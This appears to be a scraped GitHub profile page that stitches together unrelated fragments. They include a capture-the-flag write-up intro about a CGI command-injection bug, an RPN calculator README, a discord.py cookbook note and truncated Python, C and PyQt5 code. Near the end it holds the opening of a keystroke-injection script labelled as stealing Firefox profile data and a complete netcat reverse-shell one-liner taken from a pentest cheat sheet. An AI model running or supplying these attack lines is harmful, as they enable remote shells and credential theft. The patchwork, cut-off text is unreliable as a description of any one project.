Wilfred wilfreddv

STB 2018 Writeup

This is a write-up of the 2018 STB challenge: https://github.com/securifybv/spotthebug/tree/master/STB_2018

When first opening the repository, I see two interesting files; a PHP file, and a C++ file.

The C++ file: quick overview

The C++ has a BaseCGIClass (which has no functionality), and two children classes of the BaseCGIClass. I immediately notice the std::system call in the Executor class. The Logger class seems to not have any potential side effects. In the main function, I assume the Cgicc is an interface for the CGI protocol. This means formData("encryptedData") likely returns user input. We can control this.

rpn-calculator

Calculator for equations in the Reversed Polish Notation

Usage

$ ./main.py
//Your calculation goes here
//The output will be printed here

This is not being maintained and might be outdated. Use at your own risk.

Cookbook for discord.py rewrite

This document contains snippets that I've used and tested. It's not meant to be an official guide, but rather a document for looking up small snippets of code. For an extensive reference on the API, please visit the official documentation.

	from contextlib import contextmanager
	import signal, sys, termios, atexit, tty


	class CTLSEQ:
	"""
	Condensed from https://github.com/wilfreddv/HB/blob/main/hbutil/hbutil/termctl.py

	Define common ANSI escape
	code control sequences

	#include <stdio.h>
	#include <string.h>
	#include <limits.h>


	static inline unsigned _max(unsigned values[], unsigned length) {
	unsigned max = 0;
	for(unsigned i = 0; i < length; i++) max = max > values[i] ? max : values[i];
	return max;
	}

	FPS = 20
	#ISIZE = 1280, 720
	ISIZE = 1920, 1080
	TRAIL_FADE = 0.93 # 1.0 - no fade, 0.0 - immediate fade
	GAMMA = 0.1
	RADIUS_F = 30
	DEVIATION = 45

	# -- coding: utf-8 --

	# Form implementation generated from reading ui file 'home.ui'
	#
	# Created by: PyQt5 UI code generator 5.5.1
	#
	# WARNING! All changes made in this file will be lost!

	from PyQt5 import QtCore, QtGui, QtWidgets

	REM Script to steal profile data from Firefox

	DEFAULT_DELAY 200
	DELAY 2000

	REM Open CMD
	GUI r
	STRING cmd
	ENTER

	#!/bin/sh
	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh -i 2>&1\|nc 127.0.0.1 8080 >/tmp/f

	# From: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet